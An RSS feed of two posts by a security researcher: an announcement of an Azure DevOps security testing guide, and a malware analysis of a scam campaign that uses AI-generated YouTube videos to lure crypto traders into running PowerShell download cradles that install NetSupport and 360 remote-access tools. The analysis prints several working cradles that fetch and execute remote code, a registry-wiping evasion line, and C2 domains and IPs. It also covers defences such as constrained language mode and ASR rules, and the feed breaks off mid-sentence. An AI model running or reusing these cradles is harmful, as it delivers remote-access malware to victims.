<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by 0x0vid on Medium]]></title>
        <description><![CDATA[Stories by 0x0vid on Medium]]></description>
        <link>https://medium.com/@0x0vid?source=rss-ff32b62d4ee------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*HjaAQ_ZKbmwHrLeSI8cdfg.jpeg</url>
            <title>Stories by 0x0vid on Medium</title>
            <link>https://medium.com/@0x0vid?source=rss-ff32b62d4ee------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 14:09:57 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@0x0vid/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Azure DevOps Security Testing Guide (Ado-STG) Beta Release]]></title>
            <link>https://medium.com/@0x0vid/azure-devops-security-testing-guide-ado-stg-beta-release-0068091b0673?source=rss-ff32b62d4ee------2</link>
            <guid isPermaLink="false">https://medium.com/p/0068091b0673</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[azure-devops]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[devsecops]]></category>
            <category><![CDATA[azure]]></category>
            <dc:creator><![CDATA[0x0vid]]></dc:creator>
            <pubDate>Tue, 22 Sep 2026 10:59:30 GMT</pubDate>
            <atom:updated>2026-09-22T10:59:30.685Z</atom:updated>
            <content:encoded><![CDATA[<p>TL;DR: It’s a framework for assessing the security of an Azure DevOps setup in the spirit of the OWASP WSTG</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*2Ong7_PgBu13NYf1ApwU0Q.png" /><figcaption>Ado-STG release roadmap</figcaption></figure><p>The Azure DevOps Security Testing Guide (Ado-STG) can be found here:</p><p><a href="https://www.enterprisesoftproducts.com/resources/azuredevops/home.html">Ado-STG: Home page</a></p><p>GitHub coming soon!</p><h3>0x0 — Introduction</h3><p>It’s been a while since my last blog post. In that time, I have been hard at work, looking into Azure DevOps security. I got the idea after reading the incident reports for the 2026 Novo Nordisk hack, where attackers breached Novo’s CI/CD infrastructure due to hardcoded credentials in scripts and insuficient rolemanagement/overly privileged users and were able to exfiltrate large amounts of sensitive data and credentials to other services.</p><p>After that, I started looking into resources for assessing Azure DevOps (ADO) since that is widely used in Denmark.<br>It quickly became apparent that the majority of resources on the internet were for specific attacks [<a href="https://www.devjev.nl/posts/2021/hacking-azure-devops/">https://www.devjev.nl/posts/2021/hacking-azure-devops/</a>]. However, no real frameworks covered the entire platform. Security best practices for ADO were also generally missing, and the guidance provided by Microsoft was also vague and generally not helpful. The best I was able to find was the tool “trajan” from Praetorian [<a href="https://github.com/praetorian-inc/trajan/tree/main">https://github.com/praetorian-inc/trajan/tree/main</a>]. These guys have a good track record with CI/CD pentesting and security research, and the tool proved very helpful for the initial research.</p><h4>0x0.1 — First steps</h4><p>After spending some time looking through the code of “trajan” and related projects, I came to the conclusion that it would be nice to have some central point where you could look up specific parts of ADO and get some guidance on best practices and defensive measures.</p><p>As a pentester for several years, I kinda already knew how I wanted this solution to look. I have worked a lot with the OWASP Security Testing Guide (WSTG) as a foundation for engagements, and in short, I decided to adapt the framework and structure to ADO.</p><h3>0x1 — Introducing the Azure DevOps — Security Testing Guide</h3><p>The Azure DevOps — Security Testing Guide (Ado-STG) is my attempt at a central structured resource for the secure configuration and best practices for assessing ADO security. It is modeled after the WSTG and will contain detailed coverage of how to find and address ADO misconfigurations.</p><p>The Ado-STG is released under the “CC BY-SA 4.0” license. In essence, this means that anyone is free to share and modify the project. You are, however, required to attribute any use of the project to Enterprise Softproducts; you are required to use the same license for any projects using this content; and lastly, you may not add additional restrictions to any derivative works.</p><h4>0x1.1 — What’s covered?</h4><p>The Ado-STG is divided into similar sections where each potential problem area and attack type gets its own subsection. For now, the structure is as follows, along with a short brief of the section/subsections’ contents:</p><ul><li>Organization covers the overall setup of Azure DevOps Organizations, which are the top organizational units in ADO</li><li>Projects- covers the setup and settings for individual ADO projects.</li><li>Pipelines — covers security issues related to ADO pipelines (similar to GitHub Actions); this includes access controls, injection points, triggers, and more.</li><li>Secrets — Covers the exposure of secrets and environmental variables, both via hardcoding and insecure commands.</li><li>Service connections — Covers the exposure of sensitive information regarding service connections.</li><li>User access controls and permissions for users and whether they have excessive rights or admin permissions.</li></ul><p>For all of these, we have followed the structure laid out by the WSTG, and each area will have the following sections to help defenders and the people assessing the setup:</p><ul><li>Summary</li><li>Test Objectives</li><li>How to Test</li><li>Exploitaiton</li></ul><h4>0x1.2 — Initial/beta Release</h4><p>In my last blog post on my website, I teased the release of the Ado-STG [<a href="https://www.enterprisesoftproducts.com/blog/20260914teaserAdoSecurityTestingGuide.html">https://www.enterprisesoftproducts.com/blog/20260914teaserAdoSecurityTestingGuide.html</a>]. Today we are here with the release of the first half; the sections included in this release are: organizations, pipeline injection, and “AI” in pipelines. I hope to have the full initial release ready by sometime next week.</p><h3>0x2 — Roadmap</h3><h4>0x2.1- Full Ado-STG Release</h4><p>The full set of content is as specified earlier, set to be released hopefully next week. I’ll keep the project in “beta” for the rest of the year, and once the community has had a chance to provide feedback, I’ll remove the beta tags, fix any issues, and then I plan to also release the project on GitHub in Markdown format for all your obsidian/AI needs.</p><h4>0x2.2 — Automation</h4><p>Sometime at the start of next year, I’ll also release a companion tool I’m working on called DRAGONLADY. DRAGONLADY is an audit tool in a spirit similar to PingCastle, which queries the ADO API and checks for common misconfigurations. More info on this will follow in the future.</p><h3>0x3 — Contributions</h3><p>Contributions are more than welcome; for now, just send me an email via the mail specified on the page, but in the future, when GitHub is up and running, contributions there will be accepted as well.</p><h3>0x4 — Conclusion</h3><p>In conclusion, I hope this will be useful for you when securing or assessing Azure DevOps environments. I hope to have this framework fleshed out and “fully” done by sometime at the end of this year or the start of the next. If you find this useful or end up using it in your daily work, please shoot me a message; I’d love to know. Also, if you have any comments, let me know; I’d love to make this as useful as I can and make it something with real-world value!</p><p>All the best until next time!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0068091b0673" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SCAM004: Uncovering An Ongoing Financial Heist]]></title>
            <link>https://medium.com/@0x0vid/scam004-uncovering-an-ongoing-financial-heist-a6ccc6af60f3?source=rss-ff32b62d4ee------2</link>
            <guid isPermaLink="false">https://medium.com/p/a6ccc6af60f3</guid>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <dc:creator><![CDATA[0x0vid]]></dc:creator>
            <pubDate>Tue, 21 Oct 2025 17:18:53 GMT</pubDate>
            <atom:updated>2025-10-21T17:18:53.795Z</atom:updated>
            <content:encoded><![CDATA[<h4>tl;dr: Examining the operations of a financially motivated hacker group, using AI-generated YouTube videos to coerce victims into running a PowerShell download cradle, resulting in the installation of RAT software.</h4><h3>— [ 0x0. Executive Summary</h3><p>I recently stumbled over a threat actor using AI-generated videos and Chinese EDR products to gain unauthorized access to victim sytems. After this I discovered further examples of this operation gainin insights into the tactice, techniques, and procedures (TTPs) they use to compromise victims. I uncovered an additional 5 examples of tooling used for persistent access, making 6 in total. And gained insight into how these operations are run.</p><p>Starting with using a legitimate Remote Access Tool (RAT), all with free trial periods, in this case, either NetSupport or 360 in these cases. These are then packaged with various loaders, which themselves are contained in a PowerShell download cradle. These combine to install the RAT on the user&#39;s system. These tools are hosted on various GitHub accounts, masquerading as “Trading View” related accounts. Then an AI-generated video aims to coerce the user into running the malicious PowerShell download cradle.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VboqiJ9SKMhesUSvQqqNCw.png" /><figcaption>Generalized Kill Chain for the operations examened in this post</figcaption></figure><h3>— [ 0x1. Table of contents</h3><pre>- [ 0x0. Executive Summary<br>- [ 0x1. Table of contents<br>- [ 0x2. Introduction<br>- [ 0x3. Bakcground<br>--  [ 0x3.1. What is Trading View?<br>--  [ 0x3.2. Previous Work<br>- [ 0x4. Social engineering<br>- [ 0x5. Vector 001: TradingView-NA<br>--  [ 0x5.1. Initial Execution<br>--  [ 0x5.2. Artefact info<br>--  [ 0x5.3. Persistence<br>--  [ 0x5.4. Network<br>- [ 0x6. Vector 002: TradingViewGitAI<br>--  [ 0x6.1. Initial Execution<br>--  [ 0x6.2. Persistence<br>--  [ 0x6.3. Defense Evasion<br>--  [ 0x6.4. Artifact info<br>--  [ 0x6.5. Network<br>- [ 0x7. Vector 003 - TradingViewAIFutures<br>-- [ 0x7.1. Initial Execution<br>-- [ 0x7.2. Persistence<br>-- [ 0x7.3. Artefact info<br>- [ 0x8. Vector 004: tradingview-ai-indicators<br>-- [ 0x8.1. Initial Execution<br>-- [ 0x8.2. Artefact info<br>- [ 0x9. Vector 005: TradingViewDeveloper<br>-- [ 0x9.1. Initial Execution<br>-- [ 0x9.2. Artifact info<br>- [ 0xA. Defense:<br>- [ 0xB. Conclusion<br>- [ 0xC. IoCs<br>-- [ 0xC.1. Network<br>-- [ 0xC.2. Files and folders<br>-- [ 0xC.3. Persistence<br>-- [ 0xC.4. Command Lines<br>- [ 0xD. References</pre><h3>— [ 0x2. Introduction</h3><p>As I said in the executive summary, today we are looking at an ongoing crypto/financial heist operation. The threat actors here are actively targeting investors using the trading view applicaiton. Based on this it can be assumed that they are financially motivated. I uncovered several different vectors and TTPs used by the actors to gain initiall access to systems.</p><h3>— [ 0x3. Bakcground</h3><p>So before we get started lets first get some termonology out of the way, and lets look at some of my previous work in this area.</p><h4>— [ 0x3.1. What is Trading View?</h4><p>Trading View is a social stock and crypto trading platform with a bunch of financial analysis tools for analysts and traders to use. Its both free and has a decently large audience. This is probably why it was choosen as the “target”. Since it would mean that you have a decent amount of money and are probably somewhat computer literate. But not tech savy enough to not run random powershell scripts you found on the internet.</p><h4>— [ 0x3.2. Previous Work</h4><p>How did i find this? well, as you might know i have been interested in crypto scams and the hacking operations sorrunding them for a bit now. This one in particular caught my attention since it looked very similar to the last post i made on the subject: “SCAM003: The Art of Crypto Scams” <a href="https://medium.com/@0x0vid/the-art-of-crypto-scams-1daa01a639e0">[001]</a>. So in short I have already looked at a smaller part of this campaign.</p><h3>— [ 0x4. Social engineering</h3><p>Now that we have the boring details out of the way lets look at the first step of the process we are exposed to: The social engineering.</p><p>First up is my new favourite thing to search for on YouTube:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*H-EXdc6p7CV82wrVUvrSiA.png" /><figcaption>Golden YouTube search term. DeFi meaning decenterailized finance, a term used to describe web3 and blockchain based systems and technology.</figcaption></figure><p>After searching for this, it did not take long before I found several juicy examples of videos and products promising to give you the competitive advantage for investments. And a vast majority of these were for crypto investments and market research.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uZyIcZZFxJVHafOStOQgJQ.png" /><figcaption>Video coercing victimst into running malicious PowerShell</figcaption></figure><p>Watching the first video. It follows the naritice beats we are expecting at this point. A vauge reason for why this gorund breaking information is being shared. Some sales pitch about how this wil increase returns on investments. And then the juicy part: Opening powershell and running the malicious script.</p><p>After watching this and saving any links i went through and found several similar videos, all with the general same naming conventions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FhLy0szXqaTXLV1MCo3jdQ.png" /><figcaption>Similar YouTube video</figcaption></figure><p>Looking at the channel we see a bunch of videos about traiding and general stock market analysis. These are used to build legitimicy for the channel. Notice that all the AI generated videos are unlisted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yh1A6nQ3DYnIO0UM-xbe5w.png" /><figcaption>Main channel page</figcaption></figure><p>When searching for “DeFi sniping bot” and similar terms, it does not take a long time to spot similar campaigns<a href="https://www.youtube.com/watch?v=GsB61DCY4F4"> [002].</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JIu8GNkSWNcFtI6_CJhBnw.png" /><figcaption>Similar campaign, video is now deleted</figcaption></figure><p>But back to our original video. When looking in the description, we find a link leading to the author&#39;s GitHub page <a href="https://github.com/TradingView-NA/developer/blob/main/enable">[003]</a>.</p><p>Again here the name is something containing “TradingView”. So just searching github for “tradingview” gives us a bunch of similar accounts, all newly created with a single repository containing a malicious PowerShell download cradle for initial access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SMTRQFqdYbM34WVqUc9yQg.png" /><figcaption>Similar GitHub accounts</figcaption></figure><p>Let&#39;s dig into these and see if we can learn anything. Since there are a couple of different operations going on, let&#39;s try to go through each one and see if we can learn something about what they have in common and their operations.</p><h3>— [ 0x5. Vector 001: TradingView-NA</h3><p>First one is the GitHub repo “TradingView-NA” as this was the first video I found. Looking at the GitHub repo [now deleted], we see a single repo which in turn contains a single line of PowerShell code.</p><h4>— [ 0x5.1. Initial Execution</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WJf_DSXDA99r1nN7d4ReVQ.png" /><figcaption>GitHub repo code</figcaption></figure><p>Looking at the code, it quickly becomes apparent that this is a PowerShell Download Cradle. This can be identified by Invoke-WebRequest (shortened to iwr) downloading something that is then immediately executed by Invoke-Expression (shortened to iex).</p><pre>powershell -command &quot;if (($TradingView = &#39;app&#39;) <br>-and ($activate = &#39;dev&#39; + &#39;-features.&#39; + <br>$TradingView + &#39;?earlyAccess=&#39; + $env:COMPUTERNAME)) <br>{ $update = (iwr $activate -UseBasicParsing);  <br>iex ([Text.Encoding]::UTF8.GetString($update.Content)) }&quot;</pre><p>To get the resulting script, we can simply run the above without the iex, and we get:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/638/1*AnZamHU9u-3SahhGREVLZg.png" /><figcaption>PowerShell download cradle result</figcaption></figure><p>Let&#39;s quickly run through what&#39;s happening. This is a bit simpler than other examples we have seen, where the initial dropper either does reconnaissance and triage on the presence of common crypto wallets or establishes persistence.</p><p>Here it jsut creates a new folder in appdata, then downloads the next stage of execution, executes the file using Start-Process and msiexec, and lastly tells the user that it did not work and to try again, thus potentially resulting in reinfection if any errors occured.</p><p>The .msi file is then executed with “msiexec.exe” and the following parameters:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*VvTFDjwbwAESnoXfKuterQ.png" /><figcaption>misexec.exe options</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*_JI0OyF5kEYAcLjY0_Qu8g.png" /><figcaption>misexec.exe options</figcaption></figure><p>So in short what these commands do, is they take a given file and installs it quietly, that is without a GUI, and do not require a system restart once done <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec">[004]</a>.</p><p>The installation file itself just drops an executable and creates persistence. I got this information by running the installer and monitoring the resulting behaviour.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*6e-iW5TQwVTLVBp90UD-Pg.png" /><figcaption>Installer when run with GUI</figcaption></figure><h4>— [ 0x5.2. Artefact info</h4><p>Post installation, we can see the following files in our %APPDATA% folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*L2FtHyTfYOsk0k1oNfoyXQ.png" /><figcaption>Resulting files</figcaption></figure><p>Now lets get the executable file a look, here the file was created with the name “svservices.exe”, to masquerage as a legitimate system file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*EyaPeR-KTroVG-AKVT2nBQ.png" /><figcaption>CFFExplorer for svservices.exe</figcaption></figure><p>The interesting part here is the informaiton regarding company and original file name. We can see that this is likely an instance of the NetSupport client applicaiton. And we also see that the file was renamed post compilation, reenforcing this suspicioun.</p><p>Let&#39;s see what “NetSupport” is all about. Looking at their official web page <a href="https://www.netsupportsoftware.com/">[005]</a>, we see that it is a Remote Access tool (RAT), of course offering a free trial. This supports our initial hypothesis of this being used for persistent access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rs5PKAFt4YWwim9aYSLfqg.png" /><figcaption>NetSupport official web page</figcaption></figure><p>Running the installer pops a defender alert and we can see that this is probably not the first time this tool was used by an attacker since it gets immediatly blocked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/504/1*h6t8JPFr7pqQyRzOQzOfIg.png" /><figcaption>Defender blocking NetSupport</figcaption></figure><p>Turning off Defender, we can now try to start the application again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*EytfiEVIrwUe1UBJ73MuSQ.png" /><figcaption>Process Hacker</figcaption></figure><h4>— [ 0x5.3. Persistence</h4><p>We now see that the application establishes persistence in the Run folder so that it is launched on logon.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SeYx9L1kCKaii3AxfdFP6A.png" /><figcaption>Establishing persistence</figcaption></figure><pre>NdService NetSupport Client Application (Verified) NETSUPPORT LTD. <br>C:\Users\IEUser\AppData\Roaming\NSservices\svservices.exe</pre><h4>— [ 0x5.4. Network</h4><p>Next lets see if we can learn a bit more about what the applicaiton is doing and potentially learn something about the attackers infrastructure.</p><p>Dumping the strings in the process using ProcessHacker we get what looks like c2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/649/1*zUsUzmwA8c_zqPStG6O9TA.png" /><figcaption>Process strings</figcaption></figure><p>It doesnt take long, looking at the strings of the process before we see some ip addresses and a domain. Namely “185.236.165.254” and “sonosnewqk.com:443”.</p><pre>0x2f52f1a (18): sonosnewqk.com:443</pre><p>Looking at the domain, we can see that it&#39;s Cloudflare hosted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*GNGy-4ocsaD_oTAs.png" /><figcaption>DnsDumpster</figcaption></figure><p>Next, let&#39;s see if Shodan has something interesting to show.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NTsRYD2Zg7H6QBgDztBKPg.png" /><figcaption>Shodan</figcaption></figure><p>Shodan gives some interesting results for the IP <a href="https://www.shodan.io/host/185.237.165.254">[006]</a>. It looks like it&#39;s running a vulnerable SMB version and an exposed RDP port. This server might be a compromised host used as a redirect by the attacker. I won’t go into more depth here since this is out of scope and would be actively malicious and potentially illegal.</p><p>Instead, let&#39;s look at the network traffic being sent by the application:</p><pre>0x2f54a58 (201): p://185.237.165.254/fakeurl.htm HTTP/1.1<br>User-Agent: NetSupport Manager/1.3<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 9<br>Host: 185.237.165.254<br>Connection: Keep-Alive</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/1*XxcSjNI7nEnF7vx8T592iQ.png" /><figcaption>Memory dump</figcaption></figure><p>Looks like it&#39;s just sending commands in plain text. Investigating further in Wireshark confirms it somewhat, it also looks like the data transferred is either encoded or encrypted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*ofLKjhPKfsBbI5WZA0yATg.png" /><figcaption>Wireshark dump</figcaption></figure><p>Lastly looking up the domain we can see it&#39;s pointing to the IP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/336/1*mgq0YuRmfZmoXU4iy1Lmwg.png" /><figcaption>nslookup</figcaption></figure><p>I’ll add the IoCs at the bottom of the post. For now, let&#39;s look at some of the other repos found earlier.</p><h3>— [ 0x6. Vector 002: TradingViewGitAI</h3><p>The next couple of sections will be a bit more sparse in details since we are effectively looking at some of the same things, but done differently.</p><p>Here the authors choose the name TradingViewGitAI<a href="https://github.com/TradingViewGitAI/developer-mode"> [007]</a> for the repo, again matching the neming and general intention for the campaign.</p><h4>— [ 0x6.1. Initial Execution</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yDav59zGnJXYirTfxgtLZQ.png" /><figcaption>GitHub repo</figcaption></figure><p>Again, we see a PowerShell Download Cradle for the initial access.</p><pre>powershell -Command &quot;$update=&#39;betasignal&#39;; <br>$mode=&#39;tradingview&#39;; <br>$key=&#39;ai&#39;; <br>$file=&#39;earlyaccess&#39;; <br>$url=$update+$mode+$key+&#39;.app/update/&#39;+$file; <br>&amp;{ iex ([System.Text.Encoding]::UTF8.GetString((<br> iwr $url -UseBasicParsing).Content)) }&quot;</pre><p>This cradle will then download and execute the following code in memory:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FP7hkMlJHI9-HFdD2MbOag.png" /><figcaption>Malicious second stage code</figcaption></figure><p>This code looks a lot more like the code from my last post. Her,e the payload is embedded in the script itself.</p><ul><li>The script will first create a file as a sort of mutex to check if the system is already infected: %TEMP%\.__init__log. This might also add in the script seeming more legitimate as it will not “install” multiple times if the user already is infected.</li><li>Next, the embedded payload is extracted to the file: %USERPROFILE%\Pictures\cO4OVVGT.wav</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l4yRch8Ti9xa2_Nnt4LcAQ.png" /><figcaption>Final part of the script</figcaption></figure><p>Afterwards, the “.wav” file is unzipped to “$env:USERPROFILE\Music\haMwYuqze\client32.exe”</p><p>Now that the payload has been extracted, it&#39;s then executed with [Diagnostics.Process]::Start()</p><h4>— [ 0x6.2. Persistence</h4><p>After the RAT is started, the script establishes persistence using the “Run” folder: ‘HKCU:\Software\Microsoft\Windows\CurrentVersion\Run’ with the name: SecureModule</p><h4>— [ 0x6.3. Defense Evasion</h4><p>Finally, the script does a bit of cleanup and deletes some registry artefacts from execution.</p><pre>try { Remove-ItemProperty -Path &#39;HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU&#39; -Name * -ErrorAction SilentlyContinue } catch { }</pre><h4>— [ 0x6.4. Artifact info</h4><p>The resulting folders and artefacts are very similar to our first example, but here they are using the 32-bit version of NetSupport:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*DtmN_Q9hdrbtYFp60eEt3g.png" /><figcaption>Resulting folder and contents</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*c1nnBx4mz2X9uu5wKWzUuw.png" /><figcaption>CFFExplorer info for the RAT</figcaption></figure><h4>— [ 0x6.5. Network</h4><p>Like we did earlier lets see what the process has in its memory, first we see a string referencing cloudflare, which again is something we know the attackers are using.</p><pre>https:\/\/a.nel.cloudflare.com\/report\/v4?s=<br>IppwRWxRCsH9ZJKPv%2Fa0xigKpRSA%2FtNEEZAWXzYDH5z6vgi<br>CY%2BxZ3Pbh%2B8BZGDwm5kyeR39X8NwP%2BFKguR6gLITfsrSx<br>WSL6MrUk7oK7jAuIy76gVm4hB7%2Bl1G9eMI3ZOIIai%2FUgANfeQXpq</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/273/1*rUoM692eDNbZS73lj1xZYA.png" /><figcaption>Memory dump</figcaption></figure><p>Next, we see a reference to the domain “normalsleep1.com” which resolves to “45.142.193.143”.</p><h3>— [ 0x7. Vector 003 — TradingViewAIFutures</h3><p>Next up is something very similar to our original dropper: TradingViewAIFutures<a href="https://github.com/TradingViewAIFutures/dev-mode"> [008]</a>. The only real difference in this one is some different obfuscation, filepaths, and folder names.</p><h4>— [ 0x7.1. Initial Execution</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bMBR-35iJLmgwkhoVxU3bA.png" /><figcaption>GitHub repo</figcaption></figure><p>Again, we see a PowerShell download cradle.</p><pre>powershell -command &quot;if (($TradingView = &#39;dev&#39;) <br>-and ($activate = &#39;developer&#39; + &#39;-features.&#39; <br>+ $TradingView + &#39;?earlyAccess=&#39; + $env:COMPUTERNAME)) <br>{ $update = (iwr $activate -UseBasicParsing); <br>iex ([Text.Encoding]::UTF8.GetString($update.Content)) }&quot;</pre><p>Just downloads the payload and then executes it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*g1l8vSbnpDEjdokD5gjwnA.png" /><figcaption>Payload download</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/493/1*tXeIN3ZgoCkUTcDKrPVGDQ.png" /><figcaption>Installer</figcaption></figure><h4>— [ 0x7.2. Persistence</h4><p>Same as previous.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hDCmc0qhsxi-lPcH7JlbBw.png" /><figcaption>RAT persistence</figcaption></figure><p>The resulting persistence:</p><pre>Nf service NetSupport Client Application (Verified) NETSUPPORT LTD. <br>C:\Users\User\AppData\Roaming\NSservices\svservices.exe <br>Sun Jul 13 10:09:12 2025</pre><h4>— [ 0x7.3. Artefact info</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*GOnVijkrd8MGUgmBLXLbOA.png" /><figcaption>CFFExplore file details</figcaption></figure><p>Same as Vector 001: TradingView-NA.</p><h3>— [ 0x8. Vector 004: tradingview-ai-indicators</h3><p>Here again we see something very similar, but with a few details switched around, likely done by the initial obfuscation/provisioning scripts used by the attacker <a href="https://github.com/tradingview-ai-indicators">[009]</a>. Additional,ly the RAT is not NetSupport but the Chinese 360 EDR we saw in my last post.</p><h4>— [ 0x8.1. Initial Execution</h4><pre>powershell -command &quot;if (($enable = &#39;tech&#39;)<br>-and ($TradingView = &#39;developer&#39; + &#39;features.&#39; <br>+ $enable + &#39;?earlyAccess=&#39; + $env:COMPUTERNAME)) <br>{ $update = (iwr $TradingView -UseBasicParsing); <br>iex ([Text.Encoding]::UTF8.GetString($update.Content)) }&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*J1c-lTXt-5-pLZV8kUjJaQ.png" /><figcaption>Same payload delivery and execution as previous</figcaption></figure><p>The PowerShell download cradle is obfuscated differently and uses different file names, folders, and the files have different hashes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*imbI7XLcQ1Lbuuo5r3fYlA.png" /><figcaption>Hash comparision</figcaption></figure><p>However, when running the installer with the parameters shown in the original PowerShell script, we are met with a familiar sight</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*4_v5JaGeQlBJ6RmV7nD7EQ.png" /><figcaption>XPFix.exe makes a return</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*fjR904txmPY3ty7f_QzBAw.png" /><figcaption>XPFix.exe on disk</figcaption></figure><h4>— [ 0x8.2. Artefact info</h4><p>This is the same program as used in our last blog post</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*PZZ8GJTlmS10o5aSqkEC3Q.png" /><figcaption>CFFExplorer details</figcaption></figure><h3>— [ 0x9. Vector 005: TradingViewDeveloper</h3><p>Nothing new here, if it works, don’t change it, I guess: TradingViewDeveloper <a href="https://github.com/TradingViewDeveloper/Tools/blob/main/Update">[010].</a></p><h4>— [ 0x9.1. Initial Execution</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cgu4Yl07_MQZfBA0g-KYAw.png" /><figcaption>GitHub repo</figcaption></figure><p>PowerShell download cradle</p><pre>powershell -Command &quot;$update=&#39;developer&#39;; <br>$mode=&#39;mode&#39;; <br>$key=&#39;enable&#39;; <br>$file=&#39;indicator&#39;; <br>$url=$update+$mode+$key+&#39;.app/update/&#39;+$file; <br>&amp;{ iex ([System.Text.Encoding]::UTF8.GetString((<br>iwr $url -UseBasicParsing).Content)) }&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sUQ1I6PLrCW_hRNkBmPNEw.png" /><figcaption>Resulting script with embedded payload</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jJUOnAVfD8KhdIQFSvo4_w.png" /><figcaption>End of script with some interesting social engineering</figcaption></figure><h4>— [ 0x9.2. Artifact info</h4><p>And after this is executed, we see some familiar files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*-oi_0hRXiGEBHU32LGAaaQ.png" /><figcaption>Folder contents</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*9tQhIHU-Xm63N3sEEwZUJw.png" /><figcaption>CFFExplorer details</figcaption></figure><h3>— [ 0xA. Defense:</h3><p>Now that we have gone through the various ways attackers can use these TTPs to gian initiall access to your system. Lets talk briefly about what defenders can do to prevent this. I’ll only cover the technical side of this. The whole teach people to not run funky PowerShell off the internet is something you have to deal with by yourself!</p><ul><li>PowerShell Constrained Language— For this scenario will probably be the most effective since it blocks the use of “iex” and thus will breat all of the techniques covered in this post.</li><li>Attack Surface Reduction (ASR) rules — Here especially the rule blocking newly compiled applicaiton will be effective in stopping intermediate droppers. It will probably not be effective in stopping the RATs as they are “legitimate” products which might already have a high prevelence and be signed by their producers.</li><li>AppLocker — AppLocker might be effective in stopping the execution of the binaries, this really depends on whether users in the organization are running applicaitons from the %appdata% directory, whic is where most user applicaitons will be installed.</li></ul><p>And as always — don&#39;t run random stuff off the internet!</p><h3>— [ 0xB. Conclusion</h3><p>In conclusio,n it was a lot of fun looking into their (as of writing) ongoing operation. The techniques are just advanced enough to be interesting while not requiring several months of research to parse. Compared to something like Emotet <a href="https://www.hhs.gov/sites/default/files/emotet-the-enduring-and-persistent-threat-to-the-hph-tlpclear.pdf">[011]</a> this is still limited in sophistication. On the other han,d the sophistication seems to be very well aligned with the targets that these attackers are likely going for: individuals with enough money to be trading and using stock market analysis tools.</p><p>If you are interested in trying out this approach, you might be able to go to GitHub 